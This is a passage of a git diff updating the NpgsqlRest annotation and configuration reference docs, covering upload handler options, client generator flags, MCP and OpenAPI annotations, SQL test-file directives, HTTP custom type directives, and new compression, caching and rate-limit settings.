**Value:** name +- **Example:** `table_format = html` + +Return the rows in a table format instead of JSON: a key of the configured table format handlers (the npgsqlrest client has html and excel when TableFormatOptions is enabled). + +# Upload handler parameters + +## `stop_after_first_success` (upload) + +- **Aliases:** stop_after_first_success, large_object_stop_after_first_success, file_system_stop_after_first_success, csv_stop_after_first_success, excel_stop_after_first_success +- **Syntax:** `stop_after_first_success = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `stop_after_first_success = true` + +With several upload handlers: a file that one handler processed successfully is skipped by the handlers after it. + +## `included_mime_types` (upload) + +- **Aliases:** included_mime_types, large_object_included_mime_types, file_system_included_mime_types, csv_included_mime_types, excel_included_mime_types +- **Syntax:** `included_mime_types = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `included_mime_types = image/*, application/pdf` + +Accept only files whose MIME type matches one of these patterns (* and ? are wildcards). Others are rejected. + +## `excluded_mime_types` (upload) + +- **Aliases:** excluded_mime_types, large_object_excluded_mime_types, file_system_excluded_mime_types, csv_excluded_mime_types, excel_excluded_mime_types +- **Syntax:** `excluded_mime_types = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `excluded_mime_types = application/x-msdownload` + +Reject files whose MIME type matches any of these patterns (* and ? are wildcards). + +## `buffer_size` (upload) + +- **Aliases:** buffer_size, large_object_buffer_size, file_system_buffer_size, csv_buffer_size, excel_buffer_size +- **Syntax:** `buffer_size = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `8192` +- **Example:** `buffer_size = 65536` + +Size in bytes of the chunks a file is read and written in (large_object and file_system). + +## `fallback_handler` (upload) + +- **Aliases:** fallback_handler, csv_fallback_handler, excel_fallback_handler +- **Syntax:** `fallback_handler = ` +- **Owner:** upload · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `fallback_handler = file_system` + +The upload handler that takes over when csv or excel cannot process the file. + +## `oid` (upload:large_object) + +- **Aliases:** oid, large_object_oid +- **Syntax:** `oid = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer +- **Example:** `oid = {_oid}` + +The OID of the large object to create. Without it PostgreSQL assigns one. + +## `check_text` (upload:large_object) + +- **Aliases:** check_text, large_object_check_text +- **Syntax:** `check_text = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `check_text = true` + +Reject files that are not text (binary content). + +## `check_image` (upload:large_object) + +- **Aliases:** check_image, large_object_check_image +- **Syntax:** `check_image = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `false` +- **Example:** `check_image = jpg, png` + +Reject files that are not images, by their first bytes: true for any supported type, or a list of jpg, jpeg, png, gif, bmp, tiff, webp. + +## `test_buffer_size` (upload:large_object) + +- **Aliases:** test_buffer_size, large_object_test_buffer_size +- **Syntax:** `test_buffer_size = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `4096` +- **Example:** `test_buffer_size = 8192` + +How many bytes of the file the text check reads. + +## `non_printable_threshold` (upload:large_object) + +- **Aliases:** non_printable_threshold, large_object_non_printable_threshold +- **Syntax:** `non_printable_threshold = ` +- **Owner:** upload:large_object · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `5` +- **Example:** `non_printable_threshold = 0` + +How many non-printable bytes the text check tolerates before the file counts as binary. + +## `path` (upload:file_system) + +- **Aliases:** path, file_system_path +- **Syntax:** `path = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `path = /var/uploads/{_folder}` + +The directory the file is saved in. Default: the configured FileSystemPath. + +## `file` (upload:file_system) + +- **Aliases:** file, file_system_file +- **Syntax:** `file = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `file = {_name}.pdf` + +The name the file is saved under (relative, no '..'). Default: the uploaded file's own name. With unique_name only its extension is used. + +## `unique_name` (upload:file_system) + +- **Aliases:** unique_name, file_system_unique_name +- **Syntax:** `unique_name = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `unique_name = false` + +Save the file under a generated unique name that keeps the extension. + +## `create_path` (upload:file_system) + +- **Aliases:** create_path, file_system_create_path +- **Syntax:** `create_path = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `create_path = true` + +Create the directory when it does not exist. Default: the configured FileSystemCreatePathIfNotExists. + +## `check_text` (upload:file_system) + +- **Aliases:** check_text, file_system_check_text +- **Syntax:** `check_text = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `check_text = true` + +Reject files that are not text (binary content). + +## `check_image` (upload:file_system) + +- **Aliases:** check_image, file_system_check_image +- **Syntax:** `check_image = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `false` +- **Example:** `check_image = true` + +Reject files that are not images, by their first bytes: true for any supported type, or a list of jpg, jpeg, png, gif, bmp, tiff, webp. + +## `test_buffer_size` (upload:file_system) + +- **Aliases:** test_buffer_size, file_system_test_buffer_size +- **Syntax:** `test_buffer_size = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `4096` +- **Example:** `test_buffer_size = 8192` + +How many bytes of the file the text check reads. + +## `non_printable_threshold` (upload:file_system) + +- **Aliases:** non_printable_threshold, file_system_non_printable_threshold +- **Syntax:** `non_printable_threshold = ` +- **Owner:** upload:file_system · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `5` +- **Example:** `non_printable_threshold = 0` + +How many non-printable bytes the text check tolerates before the file counts as binary. + +## `check_format` (upload:csv) + +- **Aliases:** check_format, csv_check_format +- **Syntax:** `check_format = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `check_format = false` + +Check that the file is text with at least one line break before it is processed. + +## `test_buffer_size` (upload:csv) + +- **Aliases:** test_buffer_size, csv_test_buffer_size +- **Syntax:** `test_buffer_size = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `4096` +- **Example:** `test_buffer_size = 8192` + +How many bytes of the file the format check reads. + +## `non_printable_threshold` (upload:csv) + +- **Aliases:** non_printable_threshold, csv_non_printable_threshold +- **Syntax:** `non_printable_threshold = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `5` +- **Example:** `non_printable_threshold = 0` + +How many non-printable bytes the format check tolerates before the file counts as binary. + +## `delimiters` (upload:csv) + +- **Aliases:** delimiters, csv_delimiters +- **Syntax:** `delimiters = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `,` +- **Example:** `delimiters = ;\t` + +The field delimiter characters; every character of the value is one. \t is a tab. + +## `has_fields_enclosed_in_quotes` (upload:csv) + +- **Aliases:** has_fields_enclosed_in_quotes, csv_has_fields_enclosed_in_quotes +- **Syntax:** `has_fields_enclosed_in_quotes = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `has_fields_enclosed_in_quotes = false` + +Fields may be enclosed in double quotes. + +## `set_white_space_to_null` (upload:csv) + +- **Aliases:** set_white_space_to_null, csv_set_white_space_to_null +- **Syntax:** `set_white_space_to_null = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `set_white_space_to_null = false` + +Empty and whitespace-only fields are passed as NULL. + +## `row_command` (upload:csv) + +- **Aliases:** row_command, csv_row_command +- **Syntax:** `row_command = ` +- **Owner:** upload:csv · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** sql · **Default:** `call process_csv_row($1,$2,$3,$4)` +- **Example:** `row_command = select import_row($1, $2, $3, $4)` + +The SQL command run for every row: $1 is the row number (from 1), $2 the fields as text[], $3 the previous row's result, $4 the upload metadata. {placeholders} are never substituted in it. + +## `sheet_name` (upload:excel) + +- **Aliases:** sheet_name, excel_sheet_name +- **Syntax:** `sheet_name = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `sheet_name = Orders` + +The sheet to process (case-insensitive). Default: the first sheet. Ignored with all_sheets. + +## `all_sheets` (upload:excel) + +- **Aliases:** all_sheets, excel_all_sheets +- **Syntax:** `all_sheets = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `all_sheets = true` + +Process every sheet of the workbook. + +## `time_format` (upload:excel) + +- **Aliases:** time_format, excel_time_format +- **Syntax:** `time_format = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `HH:mm:ss` +- **Example:** `time_format = HH:mm` + +The .NET format that cells holding only a time are passed in. + +## `date_format` (upload:excel) + +- **Aliases:** date_format, excel_date_format +- **Syntax:** `date_format = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `yyyy-MM-dd` +- **Example:** `date_format = dd.MM.yyyy` + +The .NET format that cells holding a date without a time are passed in. + +## `datetime_format` (upload:excel) -Skip the startup Describe for that statement and resolve result columns from the given type instead (composite type name, any built-in scalar type for a single-column result, or `void`). Needed when a statement references objects that don't exist at startup (e.g. a temp table created in a `DO` block). +- **Aliases:** datetime_format, excel_datetime_format +- **Syntax:** `datetime_format = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text · **Default:** `yyyy-MM-dd HH:mm:ss` +- **Example:** `datetime_format = yyyy-MM-ddTHH:mm:ss` -## Plugin annotations +The .NET format that cells holding a date and a time are passed in. -### `mcp` (3.17.0+) +## `row_is_json` (upload:excel) -- **Syntax:** `mcp [description]` · `mcp_description ` (alias `mcp_desc`) · `mcp_name ` +- **Aliases:** row_is_json, excel_row_is_json +- **Syntax:** `row_is_json = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `row_is_json = true` -Expose the routine as an MCP tool. A bare `@mcp` with **no** HTTP tag = MCP-only (internal, no REST route). Description precedence: `@mcp_description` > inline `@mcp ` > comment prose fallback. No-op when the MCP plugin isn't loaded or `McpOptions.Enabled` is false. +Pass the row ($2) as a JSON object keyed by cell reference ({"A1": ...}) instead of text[]. -### `openapi` (3.15.0+) +## `row_command` (upload:excel) -- **Syntax:** `openapi [hide|hidden|ignore]` · `openapi tag ` · `openapi tags , , ...` +- **Aliases:** row_command, excel_row_command +- **Syntax:** `row_command = ` +- **Owner:** upload:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** sql · **Default:** `call process_excel_row($1,$2,$3,$4)` +- **Example:** `row_command = select import_row($1, $2, $3, $4)` -Per-routine OpenAPI document control: hide the endpoint from the spec (default action; the endpoint itself is unaffected), or replace its default schema-name tag with custom tags (casing preserved). No-op when the OpenAPI plugin isn't loaded. +The SQL command run for every non-empty row: $1 is the row number, $2 the cells, $3 the previous row's result, $4 the upload metadata. {placeholders} are never substituted in it. -## Custom-parameter families (`@key = value` — the `=` is REQUIRED) +# Table format parameters -### TypeScript client (`tsclient*`) +## `excel_file_name` (table_format:excel) -| Key | Effect | -|-----|--------| -| `tsclient` | `off`/`false`/`disabled`/`0` — exclude endpoint from the generated TS client | -| `tsclient_module` | group endpoints with the same module name into one file | -| `tsclient_events` | enable/disable the SSE events parameter | -| `tsclient_parse_url` / `tsclient_parse_request` | enable/disable those generated-function parameters | -| `tsclient_status_code` | include status code in the return value | -| `tsclient_export_url` | `true` — export a URL constant regardless of global `ExportUrls` | -| `tsclient_hooks` (3.20.0+) | `off` — exclude from generated TanStack Query hooks only | -| `tsclient_url_only` | `true` — only URL constant + request interface (no fetch function); implies `tsclient_export_url` | +- **Aliases:** excel_file_name +- **Syntax:** `excel_file_name = ` +- **Owner:** table_format:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `excel_file_name = orders-{_year}` -### Dart client (`dartclient*`) +The file name of the Excel download (.xlsx is added when missing). Default: the routine's name. -Same shape as `tsclient*`: `dartclient` (off), `dartclient_module` (falls back to `tsclient_module`), `dartclient_status_code`, `dartclient_events`, `dartclient_parse_url`, `dartclient_parse_request`, `dartclient_export_url`, `dartclient_url_only`. +## `excel_sheet` (table_format:excel) -### Table format (`table_format`) +- **Aliases:** excel_sheet +- **Syntax:** `excel_sheet = ` +- **Owner:** table_format:excel · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `excel_sheet = Orders` + +The name of the worksheet (31 characters at most). Default: the ExcelSheetName setting, else the routine's name. + +# TypeScript client (tsclient) + +## `tsclient` + +- **Aliases:** tsclient +- **Syntax:** `tsclient = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `tsclient = false` + +Set to false to leave this endpoint out of the generated TypeScript client. Accepted values: true, on, enabled, 1 and false, off, disabled, 0. + +## `tsclient_module` + +- **Aliases:** tsclient_module +- **Syntax:** `tsclient_module = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `tsclient_module = users` + +The module (file) this endpoint's TypeScript code is generated into; endpoints with the same module share a file. SQL file endpoints get their directory name by default. + +## `tsclient_events` + +- **Aliases:** tsclient_events +- **Syntax:** `tsclient_events = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `tsclient_events = false` + +Set to false to leave the Server-Sent Events parameters out of this endpoint's generated function. + +## `tsclient_parse_url` + +- **Aliases:** tsclient_parse_url +- **Syntax:** `tsclient_parse_url = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_parse_url = true` + +Add (or remove) the parseUrl parameter, a callback that may change the request URL. Default: the IncludeParseUrlParam option. + +## `tsclient_parse_request` + +- **Aliases:** tsclient_parse_request +- **Syntax:** `tsclient_parse_request = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_parse_request = true` + +Add (or remove) the parseRequest parameter, a callback that may change the request before it is sent. Default: the IncludeParseRequestParam option. + +## `tsclient_status_code` + +- **Aliases:** tsclient_status_code +- **Syntax:** `tsclient_status_code = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_status_code = true` + +Return the HTTP status code together with the response. Default: the IncludeStatusCode option. + +## `tsclient_export_url` + +- **Aliases:** tsclient_export_url +- **Syntax:** `tsclient_export_url = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `tsclient_export_url = true` + +Also export a function that builds this endpoint's URL. Default: the ExportUrls option. + +## `tsclient_url_only` + +- **Aliases:** tsclient_url_only +- **Syntax:** `tsclient_url_only = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `tsclient_url_only = true` + +Generate only the URL function and the request type for this endpoint, no fetch function. + +## `tsclient_hooks` + +- **Aliases:** tsclient_hooks +- **Syntax:** `tsclient_hooks = ` +- **Owner:** tsclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `tsclient_hooks = false` + +Set to false to leave this endpoint out of the generated React Query hooks. + +# Dart client (dartclient) + +## `dartclient` + +- **Aliases:** dartclient +- **Syntax:** `dartclient = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `dartclient = false` + +Set to false to leave this endpoint out of the generated Dart client. Accepted values: true, on, enabled, 1 and false, off, disabled, 0. + +## `dartclient_module` + +- **Aliases:** dartclient_module +- **Syntax:** `dartclient_module = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `dartclient_module = users` + +The module (file) this endpoint's Dart code is generated into; endpoints with the same module share a file. Without it, dartclient falls back to tsclient_module. + +## `dartclient_events` + +- **Aliases:** dartclient_events +- **Syntax:** `dartclient_events = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `true` +- **Example:** `dartclient_events = false` + +Set to false to leave the Server-Sent Events parameters out of this endpoint's generated function. + +## `dartclient_parse_url` + +- **Aliases:** dartclient_parse_url +- **Syntax:** `dartclient_parse_url = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_parse_url = true` + +Add (or remove) the parseUrl parameter, a callback that may change the request URL. Default: the IncludeParseUrlParam option. + +## `dartclient_parse_request` + +- **Aliases:** dartclient_parse_request +- **Syntax:** `dartclient_parse_request = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_parse_request = true` + +Add (or remove) the parseRequest parameter, a callback that may change the request before it is sent. Default: the IncludeParseRequestParam option. + +## `dartclient_status_code` + +- **Aliases:** dartclient_status_code +- **Syntax:** `dartclient_status_code = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_status_code = true` + +Return the HTTP status code together with the response. Default: the IncludeStatusCode option. + +## `dartclient_export_url` + +- **Aliases:** dartclient_export_url +- **Syntax:** `dartclient_export_url = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean +- **Example:** `dartclient_export_url = true` + +Also export a function that builds this endpoint's URL. Default: the ExportUrls option. + +## `dartclient_url_only` + +- **Aliases:** dartclient_url_only +- **Syntax:** `dartclient_url_only = ` +- **Owner:** dartclient · **Form:** `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `dartclient_url_only = true` + +Generate only the URL function and the request type for this endpoint, no fetch function. + +# MCP + +## `mcp` + +- **Aliases:** mcp +- **Syntax:** `mcp [description]` +- **Owner:** mcp · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `mcp Returns the orders of one customer` + +Expose the routine as an MCP tool (Model Context Protocol). Text after the keyword is the tool's description. Without an HTTP tag the routine becomes an MCP-only tool with no public HTTP route. Description precedence: mcp_description, then this text, then the comment's prose. + +## `mcp_name` + +- **Aliases:** mcp_name +- **Syntax:** `mcp_name ` +- **Owner:** mcp · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `mcp_name customer_orders` + +Expose the routine as an MCP tool under this name (one word). Default: the routine's name. + +## `mcp_description` + +- **Aliases:** mcp_description, mcp_desc +- **Syntax:** `mcp_description ` +- **Owner:** mcp · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `mcp_description Returns the orders of one customer, newest first` + +Expose the routine as an MCP tool with this description, which wins over the text after mcp and over the comment's prose. + +# OpenAPI + +## `openapi` + +- **Aliases:** openapi +- **Syntax:** `openapi [hide|hidden|ignore] | openapi tag [, ...]` +- **Owner:** openapi · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `openapi tag partners` + +Control this endpoint in the OpenAPI document: hide it (also what a bare openapi does; the endpoint itself is unaffected), or replace its default tag, the schema name, with one or more tags. A tag is one word. + +# SQL test files (`npgsqlrest --test`) + +## `setup` + +- **Aliases:** setup +- **Syntax:** `-- @setup [, ...]` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** list +- **Example:** `-- @setup seed_users` + +Run these steps (named in TestRunner:Steps) before the file. In the file's header only: the comment lines at its top. An unknown step is an error and the file does not run. + +## `teardown` + +- **Aliases:** teardown +- **Syntax:** `-- @teardown [, ...]` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** list +- **Example:** `-- @teardown remove_users` + +Run these steps (named in TestRunner:Steps) after the file, whether it passed or not. In the file's header only. + +## `connection` + +- **Aliases:** connection +- **Syntax:** `-- @connection ` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** name +- **Example:** `-- @connection reporting` + +Run the file's SQL and its endpoint calls on this connection (a name in ConnectionStrings) instead of the run's test connection. In the file's header only. + +## `tag` + +- **Aliases:** tag +- **Syntax:** `-- @tag [, ...]` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** list +- **Example:** `-- @tag smoke, auth` + +Tags for this file, which TestRunner:Tag and TestRunner:ExcludeTag select or leave out. In the file's header only. + +## `include` + +- **Aliases:** \i, \ir +- **Syntax:** `\i | \ir ` +- **Owner:** test · **Form:** a line of its own shape · **Where:** test file +- **Value:** path +- **Example:** `\ir fixtures/users.sql` + +Include another file here, as if its text were pasted: \i reads the path from the working directory, \ir from the including file's directory. On a line of its own, between statements. The rest of the line is the path. + +## `test_request` + +- **Syntax:** `/* GET|POST|PUT|DELETE /path[?query] ... */` +- **Owner:** test · **Form:** a line of its own shape · **Where:** test file +- **Value:** text +- **Example:** `/* GET /api/users?id=1 */` + +A block comment that starts with a request line calls that endpoint in-process. Header lines and # @claim / # @response directives follow the request line, then a blank line, then the body. The response lands in a temporary table (_response, or _response_1, _response_2 ... when the file has several calls) with the columns status, body, content_type, headers and is_success, which the SQL after it asserts on. + +## `claim` + +- **Aliases:** claim +- **Syntax:** `# @claim =` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** text +- **Example:** `# @claim user_id=42` + +Inside a request block: the call is made by a signed-in user with this claim. Repeat it for more claims. Without any, the call is anonymous. + +## `response` + +- **Aliases:** response +- **Syntax:** `# @response ` +- **Owner:** test · **Form:** keyword line · **Where:** test file +- **Value:** name +- **Example:** `# @response created` + +Inside a request block: the name of the temporary table that receives this call's response. + +# HTTP Custom Types (comments on composite types) + +## `http_type_request` + +- **Syntax:** `GET|POST|PUT|PATCH|DELETE ` +- **Owner:** http_type · **Form:** a line of its own shape · **Where:** type comment (HTTP Custom Type) +- **Value:** text +- **Example:** `GET https://api.example.com/users/{_id}` + +The request line: the HTTP method and the URL to call, absolute, or starting with / for a call to an endpoint of this application. Only directives and # comment lines may come before it. Header lines follow it, then a blank line, then the request body. {name} placeholders in the URL, the headers and the body take the routine's parameter values. The response fills the type's fields by name: body, status_code, headers, content_type, success, error_message (the names are configurable in HttpClientOptions). + +## `http_type_header` + +- **Syntax:** `Header-Name: value` +- **Owner:** http_type · **Form:** a line of its own shape · **Where:** type comment (HTTP Custom Type) +- **Value:** text +- **Example:** `Authorization: Bearer {_token}` + +A request header, on the lines after the request line. A Content-Type header sets the body's content type (application/json when there is a body and no header). + +## `timeout` + +- **Aliases:** timeout +- **Syntax:** `timeout ` +- **Owner:** http_type · **Form:** keyword line or `key = value` · **Where:** type comment (HTTP Custom Type) +- **Value:** interval · **Default:** `30s` +- **Example:** `@timeout 10s` -| Key | Effect | -|-----|--------| -| `table_format` | `html` (HTML table) or `excel` (`.xlsx` download); unrecognized value → warning + JSON fallback | -| `excel_file_name` | download filename (excel only; defaults to routine name) | -| `excel_sheet` | worksheet name (excel only; defaults to routine name, max 31 chars) | +How long one attempt may take. A number is seconds; 10s, 500ms, 2 minutes and 00:00:10 are also read. On a timeout status_code is 408 and error_message says so. -Values accept `{param}` placeholders — e.g. `@table_format = {_format}` lets the caller pick the output format. +## `retry_delay` -## Test-file annotations (`*.test.sql`, test runner only — not endpoint annotations) +- **Aliases:** retry_delay +- **Syntax:** `retry_delay , , ... [on , , ...]` +- **Owner:** http_type · **Form:** keyword line or `key = value` · **Where:** type comment (HTTP Custom Type) +- **Value:** list · **Default:** `no retries` +- **Example:** `@retry_delay 1s, 3s, 10s on 429, 503` -**File header** (leading `--` comments before the first statement or HTTP block): +Retry a failed call: one retry per delay, each waited before its retry. Without 'on', any response outside 200-299 is retried; with it, only the listed status codes. Timeouts and network errors are always retried. -- `-- @setup ` — run-once setup step -- `-- @teardown ` — guaranteed teardown step -- `-- @connection ` — run the file on a specific named connection -- `-- @tag a, b` — tags for `--testrunner:tag` / `--testrunner:excludetag` selection +## `cache` -**Inside HTTP block comments** (`/* METHOD /full/path ... */`): +- **Aliases:** cache +- **Syntax:** `cache [interval]` +- **Owner:** http_type · **Form:** keyword line or `key = value` · **Where:** type comment (HTTP Custom Type) +- **Value:** interval · **Default:** `off` +- **Example:** `@cache 5 minutes` -- `# @claim name=value` — repeatable; any claim = authenticated principal, none = anonymous -- `# @response ` — capture the response into a custom temp table instead of `_response` +Keep the response in memory and answer identical calls from it, for the given time (without a time, until the application stops). GET requests only, and only responses with status 200-299. diff --git a/.claude/skills/npgsqlrest/configuration-reference.jsonc b/.claude/skills/npgsqlrest/configuration-reference.jsonc index 2736f5ab..70bf2c64 100644 --- a/.claude/skills/npgsqlrest/configuration-reference.jsonc +++ b/.claude/skills/npgsqlrest/configuration-reference.jsonc @@ -1,5 +1,5 @@ // NpgsqlRest — FULL configuration reference (every option, with inline comments). -// Generated verbatim from: npgsqlrest --config (NpgsqlRest v3.21.0) +// Generated verbatim from: npgsqlrest --config (NpgsqlRest v4.1.0) // This is the source of truth for configuration. Regenerate with: npgsqlrest --config { @@ -980,6 +980,12 @@ // "EnableForHttps": false, // + // Use Zstandard compression when supported by client (Accept-Encoding: zstd). It compresses about as well as + // Brotli for a fraction of the CPU time. Among the encodings a client accepts with equal preference, the + // order is Zstandard, Brotli, Gzip. + // + "UseZstandard": false, + // // Use Brotli compression algorithm when supported by client. // "UseBrotli": true, @@ -992,6 +998,11 @@ // "CompressionLevel": "Optimal", // + // Zstandard quality, from 1 (fastest) to 22 (smallest). When null, it follows CompressionLevel: + // Optimal is 3, Fastest is 1, SmallestSize is 19. + // + "ZstandardQuality": null, + // // MIME types to include for compression. // "IncludeMimeTypes": [ @@ -1673,6 +1684,12 @@ // "MemoryCachePruneIntervalSeconds": 60, // + // Maximum number of entries in the memory cache. Cache keys contain request values, so this bounds memory use. + // Once full, responses for new keys are returned without being cached; existing entries keep serving and expire normally. + // Set to 0 for no limit. + // + "MemoryCacheMaxEntries": 100000, + // // Redis configuration string. Used when Type is "Redis", or when Type is "Hybrid" with UseRedisBackend: true. // See: https://stackexchange.github.io/StackExchange.Redis/Configuration.html // @@ -1852,6 +1869,12 @@ "StatusMessage": "Too many requests. Please try again later.", "DefaultPolicy": null, // + // Send the Retry-After header with a rejected request: the number of seconds (rounded up) until the + // limiter will let a request through again. Fixed window, sliding window and token bucket policies know + // that time; a concurrency policy does not, so its rejections carry no such header. + // + "RetryAfterHeader": true, + // // Named rate-limiter policies. The object key is the policy name (referenced from endpoints via the // `rate_limiter_policy ` comment annotation, or used as `DefaultPolicy` above). // @@ -2064,6 +2087,14 @@ // "CommentsMode": "OnlyAnnotated", // + // Require the @ prefix on annotations. When false (default), the prefix is optional: `HTTP GET` and `@http get` are both read. + // When true, a comment line is an annotation only if it begins with @ (`@http get`, `@authorize admin`, `@timeout = 30s`, `@Content-Type: text/plain`); every other line is text, the endpoint's description, whatever word it begins with. + // That makes a comment unambiguous for people and for tools: a sentence such as "Disabled until Friday" or "Note: see the docs" can never be taken for an annotation. + // It applies to routine comments, to the comments of SQL files (also `@returns`, `@result`, `@single`, `@skip`, `@param`, `@define_param`) and to the directives in HTTP Custom Type comments (`@timeout`, `@retry_delay`, `@cache`). + // Lines without the prefix that look like an access restriction (`authorize`, `disabled`, `login` ...) are logged as a warning when this is on. + // + "RequireAtPrefix": false, + // // The URL prefix string for every URL created by the default URL builder or `null` to ignore the URL prefix. // "UrlPathPrefix": "/api", @@ -2133,7 +2164,7 @@ // // Configure how to send request headers to PostgreSQL routines execution: // - `Ignore` (default) don't send any request headers to routines. - // - `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions. + // - `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`. // - `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations. // "RequestHeadersMode": "Parameter", @@ -2150,7 +2181,7 @@ // transaction-local form (`is_local=true`). // Required when using a connection pooler in transaction mode (PgBouncer transaction-pool, AWS RDS Proxy in transaction mode, // Supabase Pooler) — without this, the backend can be reused across unrelated requests, allowing GUC state (and the routine - // call itself) to leak or split mid-request. Default false to preserve existing behavior; safe to leave off when using Npgsql's native pool only. + // call itself) to leak or split mid-request. Default false to preserve existing behavior; safe to leave off with Npgsql's native pool as long as the connection string does not set "No Reset On Close". // "WrapInTransaction": false, // @@ -2455,7 +2486,7 @@ // The default column name in the data reader which will be used to read the value of the hash of the password. // If this column is present, the value will be used to verify the password from the 